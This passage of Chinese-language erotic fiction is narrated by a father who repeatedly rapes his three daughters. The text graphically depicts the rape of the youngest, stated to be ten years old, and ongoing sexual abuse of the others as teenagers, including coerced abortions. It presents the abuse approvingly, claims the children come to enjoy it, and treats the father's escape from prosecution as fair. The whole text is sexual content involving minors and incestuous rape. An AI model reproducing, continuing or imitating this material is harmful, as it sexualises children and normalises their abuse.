蜜雪儿完全弄不清楚发生什么事,看见两个姊姊这样,还以为是要玩什么家庭游戏,欢喜地脱去上衣,再快手快脚地一次脱下短裤与小内裤,踢到一边去,然后趴在地上。

那还真是一个难以形容的淫靡景象,三个青春幼嫩的雪白屁股,还有如蜜桃般粉白的性感肉穴,紧连着排在一起,就等待我这个父亲的宠倖。

我在床上坐下,握住自己半硬的鸡巴,一面套弄,一面要蜜雪儿张开小嘴,用她幼滑的小香舌来舔硬。

起初,蜜雪儿挣扎了一下,不肯舔「爹地尿尿的东西」,但是在我用她喜欢的巧克力酱淋在鸡巴上,而且一再劝说这样会让爸爸很高兴之后,她终于怯生生地伸出舌头,像吃冰淇淋一样,一口一口地舔着紫红的龟头。

可怜的蜜雪儿,根本不知道将发生在她身上的是什么,也不知道她现在摇晃小脑袋,卖力用小嘴又舔又吮的「臭东西」,就是等一下即将为她开苞的凶器,只是一个劲地帮我口交,想让取悦爸爸开心。

至于她趴在地上的两个姊姊,苏姗的眼中写着愤恨与鄙夷,而珍妮则是一副不忍看下去的黯然表情,但是在我威逼的眼神示意下,她们都没有说什么不该说的话。

稚嫩的雪白肉体,还有她以那天真纯洁的表情,干着污秽淫靡的动作,所构成的邪恶画面,让我感受到一种只有性交才能带来的强烈高潮。

很快地,我便在女儿娇酣可人的小脸上,喷出又白又浓的精浆。或许是因为沾着巧克力酱的关系,蜜雪儿没有像苏姗初次尝到精液味道时,嫌着浓腥的气味而呕吐,反倒舔得津津有味,贪婪地刮着小脸上的白浊精浆,慢慢吃下去。

「嘻,好好吃,爹地,我刚才有让你开心吗?我不知道刚才做得对不对,不过,只要你教我该怎么做,雪儿下次会做得更好喔。」

当小女儿天真无邪地憨笑着,爬上我的大腿,娇嫩肌肤与我相摩擦,说着讨爸爸欢喜的言语,我顿时兴奋得难以自己,把蜜雪儿抱回地上,不由分说,便再次把未软的鸡巴塞进去。

「唔…唔…」

动作太急的关系,蜜雪儿的小嘴含着大鸡巴,被呛得咳嗽连连,口水从嘴边喷飞出来。

本来趴在地上的珍妮,听到咳嗽声立刻跪起赤裸娇躯,靠过来轻拍妹妹的粉背,舒缓她的不适。而在珍妮的替换下,我揪着她的金发,拉动她脑袋一前一后地吸吮鸡巴,把龟头一再顶到她喉咙深处。

射精慾望很快就出现了,但比起喷射在女儿柔嫩的小嘴,我更喜欢改为播种在她们体内。

忍下射精的冲动,趁着鸡巴还坚硬逾铁,我从床上起身,来到了趴浮在地的苏姗身后,捧着她被我精液长期滋润后,已经发育得又圆又大的肥臀,龟头抵着那肥厚多肉的屁眼,预备插入。

「你这个变态!禽兽!你强姦我们,你强姦你自己的亲生女儿,没人性…啊~~」在苏姗咬牙切齿的咒骂声中,我开始干起这刁蛮女的柔嫩肛菊,一面姦淫,一面重手打在她肥软白嫩的臀肉上,啪啪作响。

整个过程中,苏姗像是一匹难驯的悍马,激烈地癫动身体,想把我掀翻下去,还想要反手过来撕抓我。但她却没有发现到,她的剧烈摆动,令得圆滚滚的白皙乳房,抖盪出阵阵迷人的乳波,而每当她用力把圆臀往回撞,我便配合这节奏,更重更狠地操她的小屁眼。

这真是一趟让人很有成就感的驯悍记,最后,苏姗在一声长长的悲叫声中,精疲力尽地倒下去。

接着,我来到了珍妮的身后,这个文静乖巧的女儿,虽然仍高高地翘着屁股,但没等我靠近,就哭了出来。

「求求你,爸,别这么做,那真的很痛…我愿意用别的方法帮你射出来,但请你别插我的屁屁,求你…」

「哦,对不起,小心肝,但是对待妳们姊妹,爹地一向很公平,看到妳姊姊了没有?爹地不可以偏心的,所以,把腿分开一点,妳可爱的小屁眼也放松,只要多插几次,就不会痛了。」

珍妮紧咬着下唇,再也没有多说一个字,让我干了她大概快十分钟以后,趁着还没有射精的感觉,我依依不舍地抽离了珍妮白润如雪的玉臀。

「雪儿宝贝,明天妳就要变成一个小女人了,爹地疼妳,所以今晚不会干妳的屁股,但妳要把自己的处女奉献给爹地。还有,妳们两个,今晚我们一家开心点,我希望每个人都能爽到,所以爹地要教妳们一课新东西。」

我开始对女儿下命令。

「苏姗,头靠到床这边来,大腿打开…笨婊子,妳屁股不会顺便动吗?对,就是这个位置,珍妮,妳趴到妳姊姊后面,帮她舔骚屄,嗯,妳舌头不伸进去,她怎么会爽?妳们姊妹平常不是感情很好的吗?」

照顾完大女儿之后,我当然不会厚此薄彼。

「好,珍妮,现在轮到妳了,把腿张大一点﹔雪儿,爹地要妳学妳姊姊一样,到妳二姊的屁股后面,去舔她的嫩穴,想想妳二姊平常多疼妳,妳还不趁现在好好回报她?好,妳继续舔,但是把小屁股抬起来,对,翘高一点,这样爹地才好干妳。」

欣赏眼前的美景,让我停顿了一下,不过这世上任何男人都会感到值得。

三个美丽的同胞姊妹,赤裸着雪白的肉体,交叠着舔屄,那副亲密爱恋的样子…

啧啧,看来我这几个宝贝女儿,在彼此亲热的时候,比起和我做爱,更要全心付出,毫无保留。

蜜雪儿这小乖乖尤其做得好,一面拨开稀疏的金毛,用吮吸着姊姊的肉穴,毫不在意上头垂流下来的秽渍﹔一面摇晃着又白又嫩的小雪屁股,看得我慾火如炽,紧握着鸡巴,随时准备上去。

「爹地,我做得对吗?这样做也会让你高兴吗?嗯,姊姊尿尿的地方,没有爹地的鸡鸡好吃耶…爹地,我已经变成一个女人了吗?你说我今晚会变成一个小女人的。」

因为嘴巴里含着姊姊骚屄流出的蜜汁,小女儿说话的声音很模糊,但我却被她的天真话语给逗笑了。

小丫头,既然这么急着变大人,爹地就来帮妳吧。

我把口水均匀涂在洞口和肉璧,里面的肌肉有规律的夹着我的手指,似乎在抵抗异物的进入﹔然后,我又吐了一点涂在龟头上,然后准备进入她体内。龟头顶在肉缝上时,我先抬起她一只脚,用手指剥开稚嫩肉唇,露出收缩的肉洞,试着把龟头送进去。

起初,蜜雪儿还笑嘻嘻的,但是等肉洞吞入一半的龟头时,就开始叫了。

「啊…好痛啊…爹地…不行…进不去啦,雪儿好痛…雪儿不要了…」

我不顾一切地决定干下去,把鸡巴往前推,蜜雪儿又大叫几声,龟头整个进去后,又被强力的收缩推挤出来。干小孩子果然感觉完全不同,光是这样夹龟头一下,就差点让我喷射出来。

苏姗和珍妮也停下动作,各自以不同的表情,注视着小妹被开苞的过程。

从刚刚开始,蜜雪儿脸上已经布满泪痕,抽抽答答哭着道:「爹地…好痛喔…我不要…我不要当女人了啦…」

「现在虽然很痛,可是等一下就会舒服了,妳不是爹地的乖女儿吗?怎么可以让爹地失望呢?」

蜜雪儿点点头,我又把她的嫩肉洞剥开,这次因为洞口已经沾了龟头上的唾液,所以很容易就滑进去。我轻轻一送,把鸡巴又插进一小段,小小窄窄的嫩穴,狠狠夹着鸡巴,我必须稍稍用点力才能不让它滑出来。

小丫头的呼吸开始急促,额上也出现了汗水,珍妮靠过来,伸手把她沾了汗水的浏海拂拭一下,我则用力往内推入,还进去不到三分之一根,就顶到了她的处女膜。

「舒服吗?」

「好一点了…可是,还是好痛…尿尿的地方痛得快要裂开了…」

不再多安慰什么,我腰部往后,把鸡巴一拉,再全力一送,「噗」的一声,半根多一点的鸡巴,瞬间没入小女孩的嫩穴。她的眼睛瞪大,接着迸出泪水,发出极为尖锐的叫声。

虽然才进去半根,但是龟头已经顶住花心,幼嫩的子宫如同心脏般胎动着,肉茎和肉唇的夹缝渗出了鲜血。

两个姊姊有了动作。苏姗挤啪到蜜雪儿的身下,舔着她僵硬的小奶头,舒缓她的痛楚﹔珍妮则是在短暂犹豫后,轻柔地吻封住妹妹的嘴巴。由表情来看,小女孩正因剧痛而嚎哭着,若不是被姊姊这样安抚着,还真有可能惊动邻居。

滚烫的肉壁一直收缩着没有松开,蜜雪儿似乎用尽全身的力气,抵御下体传来的疼痛,我还一度担心会否引起阴道痉挛,幸好在两个姊姊一阵安抚,小女孩停止大哭之后,身体放松,阴道内也放松了一些。

我让珍妮停止亲吻,给蜜雪儿调整呼吸的时间。她的胸口剧烈的起伏,鼻涕和眼泪流了满脸,啜泣哀求。

「爹地,痛死了啦……我…我那里好像流血了…雪儿不要了啦…呜……」

蜜雪儿比她两个姊姊当初失贞时,哭得更要凄惨。但是我仍然抽送我的鸡巴,每次抽动都会摩擦到伤口,痛得她每次都低声哀鸣。

不过,在苏姗和珍妮的舔吮小奶子、揉弄阴蒂之下,渐渐的,她停止了哭泣,只是咬牙承受,看来似乎已经能够忍受了。

小女孩的嫩穴吸附着肉茎,肉壁开始分泌少量的爱液,粘糊糊的蜜肉,就像果冻般软滑滑的,却又那么奇异地紧束住鸡巴。

我的动作越来越大,后来几乎是整根离开她的嫩穴,再一口气塞进去。进去时,快要把外阴唇也捲进去,拔出时又像是要把里面的嫩肉也拖出来般。这也是因为她的嫩穴实在太小太紧,才会如此,或许我真是该多等两年的。

我没命似地抽插着,睾丸不停撞在她雪白的小屁股上,发出「啪啪」的声音,蜜雪儿的呼吸越来越快,嘴巴也无法闭合,一直在喘气,汗水也不停的滑落。

最后,蜜雪儿忽然「呜!」的叫了一声,全身抽筋似地变得僵硬,嫩穴内也随着紧缩,喷出一股粘稠稠的蜜浆,然后,她才全身一软,重重的吐出一口气。

嫩穴膣肉松开的同时,我也射出有生以来最多的一次浓精,把鸡巴浸泡在粘稠又湿热的肉穴中,过了一会才抽出来。

龟头才刚离开蜜雪儿的体内,洞口随即汩汩流出精液,还有翻搅得浑浊的蜜浆,当然少不了鲜红的处女血。

珍妮早就抽好了几张干净的面纸,这时靠近过来,温柔而细心地擦拭着妹妹的小阴户。被插得翻开的蜜肉红肿不堪,洞口也扭曲地收缩着,即使擦了几张纸,灰白中带红色的混浊液体,仍在缓缓地流出……

苏姗坐在床畔,看看赤身裸体的两个妹妹,再看看小妹无力合上的纤细双腿,最后恶狠狠地瞪着我,目中含泪地恨声道。

「禽兽……连亲生女儿也搞…三个女儿都搞过,没…没人性……呜…」

终章报应

开苞落红的隔天,蜜雪儿发烧了,我不敢请医生,只是给她吃了退烧与消炎药,在床上躺了两天,可以下床以后,又是生龙活虎地蹦蹦跳跳。

十岁的小女孩,对性事似懂非懂,不了解贞操的重要,除了怕痛,倒是没有别的心理负担。在我耐心的循循善诱之下,很快就与我重修旧好,缠着我撒娇,然后被我带到床上去。

起初的几次并不顺利,可是我慢慢找到了方法,使用润滑剂,每次性交前都让蜜雪儿放松身体,又要珍妮与她接吻、摸奶。几次以后,小丫头就开始尝到了快感,到后来甚至还会缠着我,主动要求欢好。

在接下来的两年里,我过着非常幸运的日子,三个渐渐发育,出落得亭亭玉立的女儿,让我享尽人间艳福。

如果我想要来一场火辣辣的强暴,那么我就会找来苏姗,抓住她头发,把人扔在床上,饿虎扑羊似地撕裂她身上的昂贵衣服,狠狠地强姦她。

随着年纪越来越大,苏姗的外表越来越像她母亲。同样的面孔与表情,我总爱藉着羞辱这刁蛮女,来满足一种复仇的快感。

但有些时候,我又想要试一试帝王的滋味,希望有个美人儿,像女奴一样匍伏伺候,在床上听着她的啜泣,直至她高声求饶与嚎哭。

这时候,我心爱的珍妮就派上用场了…她还真是一个好乖的可爱女儿,不但像个小母亲一样,担起了这个家里大大小小的杂务,晚上还可以尽到传统主妇的应有责任,献上自己越来越是丰满动人的青春肉体。

珍妮尤其讨厌我姦淫她的屁股,那个又紧又窄的小屁眼,像是一朵初生雏菊般的娇嫩,常常被我的大动作干到皮破出血。

我欣赏着她流泪喊疼的悲鸣,还有渐渐在肛交中被开发的快感,但却最喜欢看她被父亲淫辱时,恐惧、痛苦,还有深深感到罪恶的表情。

在三个女儿中,珍妮是祷告得最勤、最认真的一个,特别是每当在父女相姦直至高潮后,她总喜欢对天主忏悔些什么。

至于蜜雪儿,那是我最疼爱的小甜心。

或许是因为疼怜她年纪最小,我后来总是待她很温柔,不管是搂抱或抽插,动作都轻轻慢慢的。而总爱缠着我的蜜雪儿,现在常常睡在我床上,一到晚上,就变成了一个甜美的小淫娃,会自动分张开腿,与我热情地翻云覆雨。

在这欢愉的乱伦生活中,苏姗和珍妮的年岁增长,上了高中。

苏姗才刚入学,就已经拿到了一笔奖学金,但引起同学们注意的,却不是她优异的成绩,而是那对几乎要裂衣弹出、饱满高耸的32E豪乳。

珍妮虽然成绩中等,没有奖学金可拿,但却进入学校啦啦队,成为队长,每次比赛的时候,她站在一众妙龄少女之前,动感十足地舞着肢体,红白相间的啦啦队制服下,F罩杯的圆硕巨乳,像最有弹性的果冻般上下弹跳,吸引了全场的目光,总是让会场气氛沸腾到高点。

两姊妹的艳名远播,就像她们母亲芭芭拉当年一样,有一堆被巨乳挑逗得血气方刚的男生,争着邀她们外出兜风游玩、看电影,常常有争风吃醋的斗殴事件发生,听说在学校里头,还有些男老师忍不住诱惑,上课时不住偷看她们的高耸豪乳。

蜜雪儿对两个姊姊能够这么受欢迎,羡慕得要死,幸好她两个姊姊不用我监督,都对与男生交往没什么兴趣。苏姗毫不掩饰地表现出对男人的憎恶,珍妮更是像头惊弓之鸟,畏惧着陌生男性的接近。

三姊妹的体型差不多,平常也很有话聊,不是一起作运动,预先维持胸部的弹性与坚挺,就是在聊该去哪里买又大又好看的胸罩。苏姗和蜜雪儿常常都在抱怨肩膀酸痛,跑步的时候容易喘不过气﹔珍妮偶尔也会说,这么大的胸部,让她作家事很不方便。

我很欣慰自己的教育方针正确,起码,苏姗和珍妮都没有重蹈母亲的覆辙,把书念得一塌糊涂,只懂得靠着天赋的本钱,捧着一对大奶子去钓男人,而是成长为懂得自尊自持的好女儿家。

幸福之中,也有小阴影。在珍妮高一那年的暑假,某天早上,两个女儿在吃早餐时,把到嘴的火腿蛋吐出来,两姊妹捂着嘴巴跑到水槽边,吐了起来。

我看到这景象,发现不妙,最近因为担心影响女儿的发育,我没再给她们避孕药吃,难道真的出了事?

后来,我找出止吐药,给两个女儿吃,两人怀孕症状减轻不少,但是只是包不住火的,两个人肚子如吹气般的鼓了起来,幸好时值冬天,厚厚的大衣穿在外头,没有穿帮。

事情当然不能这样下去,她们才是高中生,怎么能就这样被怀孕毁了前途?

我找管道安排了医生,在还没有引起任何人注目之前,帮两个女儿把孩子拿掉。

苏姗和珍妮都没有反对我的决定,她们很清楚地知道,继续挺着大肚子上学会招致什么结果,不过,那并不代表她们就喜欢堕胎。苏姗在那件事之后,变得更加叛逆,常常在女同学家外宿不归﹔珍妮则是变得更加沉默寡言,把圣经锁进抽屉,连常常作的祷告都停止了,因为……她所信仰的神明与经典,是把堕胎视为重罪的。

而她也是最不幸的一个。由于苏姗常常不在家,渐晓人事的蜜雪儿,又开始察觉乱伦这种行为所代表的意义,渐渐躲避着我,虽然没有像她姊姊一样,表现出对我的憎恶,但父女之间的关系,也没有以前那么亲近了,结果,最常屈服在我淫威之下、被抓上床洩慾的,就是珍妮。

……频繁性交的结果,一年里面,她为我拿掉了两个孩子。

我以为这样的生活可以一直过下去,但是在某个晚上,事情却发生了改变。

芭芭拉的母亲,我的前任岳母前来探访三个外孙女儿,但当时情慾高涨的我,却漏听了那声门铃。

刚刚从外头回来,还来不及躲进房里的苏姗,被我一把抓住,眼睛像要喷出火一样地瞪着我﹔我则是赤身裸体地站在客厅,满脑子想的,都是怎么恣意玩弄眼前这具少女胴体。

「苏姗,妳还在等什么?给我跪到这里来,舔妳老子的…呃,妈,妳怎么来了?」

不需要再说什么无聊话了,那个恶毒的老婊子立刻打电话给警察和社会福利中心。

在大批警车的呼啸下,三个女儿被带离开家,而我则被戴上手铐,预备面对残酷的铁窗生涯。

只是,事情并非毫无转机。珍妮和蜜雪儿支持我的谎言,说我没有对她们做任何错事,是一个难得的好爸爸。

即使是苏姗这个刁蛮女,也不愿承认她整整与亲生父亲通姦了四年,当了四年性奴隶的丑事,所以他拒绝上法庭作证。

更幸运的一点是,谁都知道法庭内是有钱判生,没钱判死,而我却刚好是有钱人,大把钞票请得起最好的律师。

在法庭上,律师与我的前任岳母激辩,这个恶毒的老女人,不得不承认,她并没有亲眼看到我与女儿性交。陪审团也因此无法统一意见,做出判决,最后法官裁定不起诉处分。

法律总是公平而正义的,我想我大概忘不了,当法官宣布我当庭释放,可以把女儿接回家时,那个老太婆顿足痛哭的丑陋模样。

只是,事情不可能完美。当我回到家时,苏姗护在两个妹妹的身前,大声警告,只要我再对她们不规矩,就会把我告上法院﹔我尽管气愤,但发生过这样的事,为了避免危险,我不得不收敛下来,不再对女儿们出手。

降至冰点的家庭关系,气氛无比地诡异,而结束这种生活的,是女儿们分别离家远去的选择,在短短不到三年的时间里,几个女儿都不在我身边了。

苏姗是三个女儿中,最早独立出门的一个。

她发愤念书,考上了南加州大学,在研究所里遇上了一个品学兼优的男生,两个人很快就结婚了。

婚后,夫妻两人搬到加利福尼亚,过着高品质的阔绰生活,一栋华屋、数辆名车、高额度的信用卡,还有…大量的债款与18%的循环利息。

苏姗喜欢胡乱花钱挥霍。自从幼时就养成的奢侈习惯,不是上了大学,多念了几本书就改得了的。幸好,时值1999年的高科技产业萌芽,两夫妻都是电子与网路的工程师,如果好好合力工作,他们确实是支付得起这样的高水准生活……假如那个短命的小白脸,没有在两年后一场车祸中被碾成碎块的话。

从1999到2001的那两年,想必令许多人记忆犹新。当时,因为网路泡沫化,从那倒闭公司回来的路上,他没有看到疾驶过来的大卡车…总之,人的生命真是很脆弱。

苏姗的世界一夕之间崩溃,心爱的丈夫骤丧,自己也因为股市崩跌的影响,失去工作,手上的股票尽成废纸,而更糟糕的是,她这时才惊觉,自己不可能偿还过去累积的庞大债款。

我的大女儿,很快就失去了她的豪宅与名车,甚至因为她恶劣的信用纪录,连到外头租间小公寓栖身都被拒绝,堂堂的一名女硕士、电子新贵,却快要流落街头。

当我最后一次接到电话,她好像想说些什么,但声音太吵杂,听不清楚,接着电话里传来时间用尽的刻板语音,最后就只剩下一连串「嘟嘟」声。

至于二女儿珍妮,也早就搬了出去。或许是因为急于离开这个家,她没等高中毕业,就匆匆出去找了个打工的工作,然后在十九岁那年,嫁给了一个大她许多岁的中年主管。

我没有出席他们的寒酸婚礼,也没有祝福他们,因为我知道错误的选择,不会带来正确的果实。

结果我所料不错,婚后不久,她的丈夫就迅速露出真面目:一个粗暴易怒、终日酗酒赌博的杂碎。

贫贱夫妻百事哀,哪还会有什么和乐的生活?听说他们夫妻不合,常常有打闹,惊动警察,但我不知道确切情形如何,直到有一天我去影碟店,坐店的男服务生推荐给我一部片子。

「GCUP:MYSLUTWIFE(G罩杯:我的淫荡妻)!」

封面上一个金发红唇、浓妆艳抹的妖冶女郎。大波浪的金色长发,半睁开的细长眼睛,微嘟的丰润红唇,流露出的性感春情,挑逗着每个男人的慾火﹔紧紧包裹着大腿、肥臀的弹力裤,阴户的轮廓整个凸露出来,就连两瓣淫肉唇的形状都清清楚楚﹔但最引人注意的,还是她捧在手上,那对圆滚雪润的GCUP巨乳,又圆又大,像是最甜美多汁的丰收瓜果,等待恩客的品尝。

我简直不敢相信自己的眼睛,这个风骚淫靡,眉角满是合欢春情的妖艳女郎,就是我那温柔娴静的内向女儿珍妮吗?她怎会变成这个样子?还拍起了这种下流的A片?

没有一个父亲愿意相信这种事,但我又不得不相信眼前的事实,尤其是当萤幕上出现了我曾经熟悉的面孔,飢渴地交错舔舐两手中握着的鸡巴,露出极度满足的表情,扭腰摆臀,雪嫩的圆硕奶瓜,盪出一片波涛汹涌,任背后黑鬼的鸡巴在她淫肉穴里飞快进出,最后在淫荡的浪叫声里,被三个男人将精液洒在她白皙无瑕的胴体上。

呆呆坐在沙发上,我甚至不知道片子什么时候放完的,当脑里回复清醒,我便知道发生了什么事,但当我拨起了珍妮的电话,才发现那个号码早已换人使用,原屋主不知道搬去了哪里,无法联络。

我疯狂地冲进影碟店,想要探听点消息,可是话还没出口,那个服务生就抢先说租了这片子的客人,没有不回来问的,然后又指给我看旁边一排,大概七八部片子,说都是同系列的。

踏着沉重的步子,我一部一部看去,里面的男主角从白到黑,还有亚洲的黄种人﹔人数或多或少,而拍摄地点更是乱七八糟,有森林、有海边、有超级市场和电影院,甚至还有路边的热狗摊,但最多数仍是在简陋的住家里。拍片的品质相当粗制滥造,却更有自拍的真实感,而不论是哪一片,女主角浪荡风骚的春情、圆硕如瓜的巨乳,都是最吸引人的焦点。

与两个姊姊相比,蜜雪儿就走在天之骄女的坦途上。当她的两个姊姊离家后,她也搬去与外婆同住,藉以躲避我的联络。

尽管这个最让我疼爱的小女儿,也选择离开了我,并且不接我的电话,连寄去的信也如石沉大海,从无回音。但是当她以优异成绩考进大学的消息传来,我仍是愿意支付她的学杂费,对她非常地抱以厚望。

无奈天不从人愿,从某张小报上的旧新闻,我得知她在大学与一班不良少女厮混,吸毒、偷窃,最后被学校退学。

这真是晴天霹雳!

刚开始,我还以为是什么地方搞错了,但检查名字、学校,都没有问题,而在那张黑白照片的一角,那个穿着暴露性感,看上去满脸叛逆的少女,就正是我宝贝的小女儿。

我急忙打电话到前任岳母的家里,然后就听见她歇斯底里的叫声。

「…她和那群坏朋友离开,不知道跑到什么地方去了,有邻居说看见她在车上接客,哦,她和她母亲一样,变成一个烂婊子了,比尔,你一定要找到他,你一定要救救你的女儿啊。」

电话筒从我无力的手上掉落,这个打击就像压垮骆驼的最后一根稻草,让我整个崩溃了。

我茫然地环顾周遭的一切。

冰箱上用磁铁贴着的黄纸片,写着苏姗三个月以前的电话,但那是早就被取消的号码,如今根本就不知道她流落在哪里。

脚下的羊毛地毯上,七八片DVD凌乱地散落着,封面上妖冶艳丽的珍妮,捧着巨硕豪乳的性感模样,像锋利的小刀般割在我心上。

摊平在茶几上的旧报纸,蜜雪儿愤愤不平的叛逆表情,还有旁边憷目惊心的文字,是我最想忘掉的恶梦。

为何一切会变成这样?我那三个天使般的小女儿,到哪里去了?那个如同美好春天般的幸福家庭,怎么会变成今天这样的冰冷屋子?

「嘻嘻……」

「喂,妳别用水泼我啦,好冰喔。」

电视里不知第几次反覆播放着同样的画面,三个金发碧眼的小美人儿,穿着美丽而贴身的泳衣,在碧波中开心欢笑,泼水嬉戏﹔她们的笑靥比黄金更珍贵,她们的金发比天上太阳更灿烂。

看着眼前的画面,我突然之间热泪盈眶。

难道这些都是我的罪孽?是因为我贪婪又邪恶的慾望,玷污了我的小天使们,让她们自暴自弃,堕入永远沉沦的黑暗深渊?

孤苦无依,守着一堆无用的金钱,在冰冷房子里寂寞以终的老人!

流落在公园挨饿受冻,走投无路,永远要躲避庞大债务的乞丐!

卖弄火辣的肉弹身材,抖弄巨乳,在A片中含屌舔精的艳星!

施打过毒品,在街边阻车拉客,被千人骑、万人压的娼妓!

我敬爱的主啊!这就是您给我们的报应?这就是我们应得的惩罚吗?

又一章死与新生

当然不是。

除了那些愚蠢而古板的卫道之士,有谁相信真心相爱的亲人应该要遭受这种结局?

我们在天上的父,怎么会把灾难和苦痛,降临在祂虔诚的信徒身上呢?怎么会让报应降临在一户和乐融融的幸福家庭里呢?

每个笃信主恩慈的的信徒都知道,上帝在关上一扇窗的同时,也会为他的信徒多开另一道门,现在所遇到的苦难,可能正是改变一切的转机。

我不该迷惑,不该痛苦,而是该像个男人一样的站起来奋斗。

一想通这点,我的身体便有了活力,顿时挥去了所有烦恼,从沙发上站起,决心要把一切扭转过来。

首先,我把电话挂上,不用在听见那老太婆聒噪的哭声,跟着我便坐下来思考。

经过考虑,我强压下亲自去找人的念头,打电话给公司平常往来的那家侦探社,请他们派出最好的人手,帮我寻找蜜雪儿的下落。

或许真是急忘了,我挂完电话,才又想起应该把苏姗和珍妮的下落也一并委託,谁知道我才拿起电话,门口就响起一声清脆的门铃声。

我起身前去应门,在开门的刹那,我由衷地感谢天上的主,在父女两人形同末路的三年后,让苏姗再次出现在我面前,与我说话。

苏姗穿着一件脏得看不出颜色的圆领T恤,和一条满是污渍的牛仔裤,纵然是这样的冰冷天气,身上仍是散发着一股酸臭味,让人掩鼻,不难想像她来此之前的流浪过程。

外头仍在飘着雪,苏姗口中不停地呵着白气,手脚打颤,我这时才惊觉到她身上的衣衫单薄,怎么抵受得住这样的严寒天气?连忙让她进到屋里。

苏姗察觉到我的同情目光,本来就自尊心很强的她,还是注意着仪容,把T恤扎进了裤子里,却全然没发现,这样一来,高耸的豪乳将恤衫挺得老高,透过单薄的T恤,隐约间还可见到里面黑色的乳罩﹔而紧身的牛仔裤,将她的翘臀完全衬托,走起路来,肥圆臀部一摇一摆,看了就很想伸手去抚摩和揉搓。

我冲了杯热可可给苏姗,预备让她去洗个澡,弄热身体,但是才刚起身,就被她抓住手,痛哭失声地诉说着这些日子以来的悲哀,包括丧夫之痛,还有债主上门时候的恶形恶状,让我了解她的处境是何等委屈。

「爸,我现在需要你帮我,我…我什么都没有了,他们一直要我还债…我不知道该怎么办…」

「嘘,宝贝,别哭,爸爸会帮妳料理这些的,妳进屋子里来吧,什么问题爸爸都会帮妳搞定,妳可以开始新生活。」

不顾她身上的肮脏,我搂着她的肩膀,温言笑道:「不过,只有一件事,妳知道我在说什么…我的房子、我的规矩,苏姗,妳始终是我的女儿,爸爸从来没有忘记妳的骚穴,妳知道吗?」

苏姗立刻推开了我放在她肩头上的手,更不让我把话说下去。

「禽兽!你怎么能说这种话?你怎么做得出这种事?我现在需要帮助,你却只想要…爸,我是你的女儿耶!我是你的亲女儿耶!」

苏姗的反应还是一样激烈,泪流满面地对我嘶吼着,然后用力甩门,跑了出去。

珍妮的事情,不太好委託侦探社处理,我开车到了她的旧居,向邻居打听,花了一整天的时间,大致拼凑出事情原委。

她那个又肥又蠢的丈夫失业后,开始酗酒,对妻子暴力相向,两夫妻很快就花光了手边的钱。那头猪猡眼见坐吃山空,就把主意打到年轻貌美的珍妮身上,逼她拍一些猥亵的录影带卖钱,珍妮当然不肯,但几次被打得遍体鳞伤后,也就屈服了。

刚开始只是简陋的自拍,谁知道一炮而红,最后被一家A片公司看上,非常中意珍妮的巨乳,还有她居家主妇的娴雅气质,决定力捧。双方合作,由那家公司提供演员、拍摄小组,量身定作片子,把珍妮塑造成一个最惹火的巨乳淫妇,DVD与录影带在全美狂卖。

那头猪猡自然是大捞了一笔,但是赌博与酗酒,让他留不住手上的丰厚片酬,只能一再把妻子的肉体当摇钱树。据说夫妻两人时有打闹,还曾经因为打肿了妻子的眼睛,导致当天无法拍片,让导演大发雷霆的事。

后来,好像是因为拍片的需要,那猪猡带着珍妮搬家,至于搬到什么地方去,有一户邻居似乎知道。

我压抑住愤怒的心情,对那户人家千谢万谢,请他们把地址抄给我,在等待他们抄地址的时候,手机电话突然响了,显示着一个不曾看过的陌生号码。

心里纳闷,接起来一听,却是一个令我险些跳起来的哭泣声音。

「爸,我是珍妮,我现在在医院…呜呜…我丈夫…荣恩他拿椅子打我…他今天不知道作了什么,警察正在找他…爸,我好害怕,我不敢回家了…呜。」

听完电话,我跳进车里,立刻赶到医院里探视遍体鳞伤的女儿。

珍妮的右手骨折,脸上也是青一块、紫一块,看到我就嚎啕大哭,诉说着她这几年来的苦楚。

尽管躺在病床上的那具熟美胴体,和DVD中火辣淫荡的姿态一模一样,但我一听她开口说话,那温柔而娇怯的声音,就证明了她仍是我记忆中的那个乖女儿,这段时间发生的一切,都不是她的本意。

而尽管那个猪猡捞了一票,珍妮的经济状况却显然很不好,连基本的保险都没有,如果不是我来,她根本付不出住院费用。我在医院里陪了她两天后,开车带她回家,她的醉鬼丈夫早已经等在家门口。

「贱人!妳这个千人肏的臭屄跑到哪里去了?不知道还有片子等妳拍吗?今天不让妳尝尝苦头,妳还不知道我的…」

话是说得很大声,不过当我的重拳打断了他门牙,又深深轰凹进他肥胖的肚腹,这傢伙满面鲜血,趴在地上呕吐、哭泣的样子,实在是不怎么雅观。

我重重踢了他肚子几脚,在他的求饶声中,重重地警告他。

「狗娘养的东西,我已经查清楚了,警察正在控告你藏毒和诈欺,你自身难保了。以后你不准再碰我女儿,不准再看她一眼,只要妳再伤她一根寒毛,我就像杀狗一样地宰了你。」

说完,我把这头肥猪踢翻过去,狠狠地一脚踢在他的胯间,这蠢猪哼也不哼,翻白眼就晕死在地。

珍妮有些畏惧地看着她口吐白沫的丈夫,对于我为她所做的事感激涕淋。

「宝贝,收拾妳的行李,我们回家吧。」

当我这么说的时候,珍妮浮现一个不知该如何是好的犹豫表情。

「爸,我不知道这样做好不好,你会否…」

「小心肝,爸爸不会对妳说谎,我现在仍然对妳的身体很感兴趣,还是很想干妳,但我绝不会对妳暴力相向。妳记得吗?过去我从来不曾殴打过妳们姊妹,只要妳回来,爸爸会继续爱妳,好好照顾妳。」

看珍妮还是一副很不安的样子,我道:「或者,妳想要继续和这个醉鬼厮混,拍那些见鬼的片子?珍妮,妳已经大了,这是你的选择,好好考虑一下吧,我会在车里再等妳半小时。」

要在茫茫人海中找我的宝贝女儿,就像大海捞针一样,不过高额的侦探费还是有代价,在两个月后,他们告诉我找到蜜雪儿了。

看到女儿被头散发,两眼无神,手脚不停地颤抖,口沫从嘴边流下的悽楚模样,我心痛极了,立刻把她送去最好的医院,仔细的诊治。

医生说,蜜雪儿的毒瘾很重,需要送进勒戒所,进行特别治疗,这点我同意了,至于身上的刺青和环饰,为了怕伤口感染,暂时不作处理。

九十天之后,我领着结束治疗的蜜雪儿出院,她看来整个瘦了一圈,脸色也苍白得怕人,但眼神已经回复清醒,没有那种重度毒瘾者的昏黄。

「爸……哦,爸,我好惭愧,谢谢你把我从那里面救出来,那些肮脏、下流的事情……我不想这样的,都是因为毒瘾,我……」

「别再难过了,雪儿,回家吧,爸爸会好好疼爱妳的,在我的房子里、在爸爸的床上,妳会是最安全的,没有人可以再伤害妳。」

最?终章真心为妳

十一点四十五分。

我不用看手錶,光是从太阳在天上的位置,就能做这样的判断。虽然已经接近冬天,佛罗里达的正午阳光,却仍热力十足地带来暖意,洒在我古铜色的赤裸肌肉上。

